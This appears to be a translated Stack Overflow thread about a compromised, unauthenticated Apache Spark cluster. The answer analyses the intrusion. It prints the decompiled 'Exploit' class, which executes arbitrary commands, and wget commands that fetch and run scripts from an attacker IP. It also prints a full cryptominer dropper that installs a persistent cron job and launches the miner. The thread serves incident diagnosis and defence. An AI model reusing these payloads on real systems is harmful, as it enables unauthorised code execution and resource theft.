繁体   English   中英

apache spark executor提交带有exploit类的驱动程序

[英]apache spark executor submit driver with exploit class

经过大量搜索和研究,我转向在这里寻求帮助。 问题在于,一旦构建了一个Spark集群(一个主节点和4个具有不同IP地址的工作者),每个执行者将不断提交“驱动程序”。 从Web UI中,我可以看到与“驱动程序”一起提交的名为“漏洞利用”的类。 网络用户界面
以下是一名工人的日志文件的开头和结尾。

启动命令:“ /usr/lib/jvm/jdk1.8/jre/bin/java”“ -cp”“ / home / labuser / spark / conf /:/ home / labuser / spark / jars / *”“ -Xmx1024M “” -Dspark.eventLog.enabled = true“” -Dspark.driver.supervise = false“” -Dspark.submit.deployMode = cluster“” -Dspark.app.name = Exploit“” -Dspark.jars = http:/ /192.99.142.226:8220/Exploit.jar “” -Dspark.master = spark://129.10.58.200:7077“” org.apache.spark.deploy.worker.DriverWrapper“” spark://Worker@129.10.58.202 :44717“” /home/labuser/spark/work/driver-20180815111311-0065/Exploit.jar“”利用“” wget -O /var/tmp/a.sh http://192.99.142.248:8220/cron5。 sh,bash /var/tmp/a.sh

18/08/15 11:13:56 DEBUG ByteBufUtil:-Dio.netty.allocator.type:未池化18/08/15 11:13:56 DEBUG ByteBufUtil:-Dio.netty.threadLocalDirectBufferSize:65536 18/08/15 11 :13:56 DEBUG ByteBufUtil:-Dio.netty.maxThreadLocalCharBufferSize:16384 18/08/15 11:13:56 DEBUG NetUtil:回送接口:lo(lo,0:0:0:0:0:0:0:0:1 %lo)15/08/15 11:13:56 DEBUG NetUtil:/ proc / sys / net / core / somaxconn:128 18/08/15 11:13:57 DEBUG TransportServer:随机播放服务器在端口上启动:46034 18 / 08/15 11:13:57 INFO实用程序:成功启动端口46034上的服务“驱动程序”。15/08/15 11:13:57 INFO WorkerWatcher:连接到worker spark://Worker@129.10.58.202:44717 18 / 08/15 11:13:58 DEBUG TransportClientFactory:创建到/129.10.58.202:44717 18/08/15 11:13:59 DEBUG的新连接AbstractByteBuf:-Dio.netty.buffer.bytebuf.checkAccessible:true 18/08 / 15 11:13:59 DEBUG ResourceLeakDetector:-Dio.netty.leakDetection.level:简单18/08/15 11:13:59 DEBUG ResourceLeakDetector:-Dio.netty.leakDetection.maxRecords:4 1 15/8/15 11:13:59 DEBUG ResourceLeakDetectorFactory:加载的默认ResourceLeakDetector:io.netty.util.ResourceLeakDetector@350d33b5 18/08/15 11:14:00 DEBUG TransportClientFactory:与/129.10.58.202:44717的连接成功,正在运行bootstraps ... 18/08/15 11:14:00 INFO TransportClientFactory:在1706 ms(在bootstraps中花费了0 ms)之后,成功创建了到/129.10.58.202:44717的连接18/08/15 11:14:00 INFO WorkerWatcher:成功连接到spark://Worker@129.10.58.202:44717 18/08/15 11:14:00 DEBUG回收站:-Dio.netty.recycler.maxCapacity.default:32768 18/08/15 11:14:00 DEBUG回收站:-Dio.netty.recycler.maxSharedCapacityFactor:2 18/08/15 11:14:00 DEBUG回收站:-Dio.netty.recycler.linkCapacity:16 18/08/15 11:14:00 DEBUG回收站:-Dio .netty.recycler.ratio:8

我发现有一个“利用”代码,它利用任何人都可以将应用程序提交到未经授权的Spark集群这一事实来入侵Spark集群。

未保护的APACHE SPARK群中的任意代码执行

但是我不认为我的集群被黑了。 应用授权模式后的原因,此问题仍然存在。

我的问题是其他人有这个问题吗? 为什么会这样呢?

这很警报!

首先,反编译的源代码显示驱动程序将执行通过参数提供给它的命令。 在您的情况下,此wget将脚本下载到temp,然后执行它。

下载的脚本下载jpg并通过管道传输到bash。 这不是图像

wget -q -O - http://192.99.142.248:8220/logo10.jpg | bash -sh

logo10.jpg包含一个cron作业,其中包含将在您的集群上运行的更多源代码。 您可能正在看到该作业正在提交,因为它正在开始计划的作业。

#!/bin/sh
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * wget -q -O - http://192.99.142.248:8220/mr.sh | bash -sh" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
wget -O /var/tmp/config.json http://192.99.142.248:8220/3.json
wget -O /var/tmp/sustes http://192.99.142.248:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

反编译源

public class Exploit {
    public Exploit() {
    }

    public static void main(String[] var0) throws Exception {
        String[] var1 = var0[0].split(",");
        String[] var2 = var1;
        int var3 = var1.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String var5 = var2[var4];
            System.out.println(var5);
            System.out.println(executeCommand(var5.trim()));
            System.out.println("==============================================");
        }

    }

    private static String executeCommand(String var0) {
        StringBuilder var1 = new StringBuilder();

        try {
            Process var2 = Runtime.getRuntime().exec(var0);
            var2.waitFor();
            BufferedReader var3 = new BufferedReader(new InputStreamReader(var2.getInputStream()));

            String var4;
            while((var4 = var3.readLine()) != null) {
                var1.append(var4).append("\n");
            }
        } catch (Exception var5) {
            var5.printStackTrace();
        }

        return var1.toString();
    }
}

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM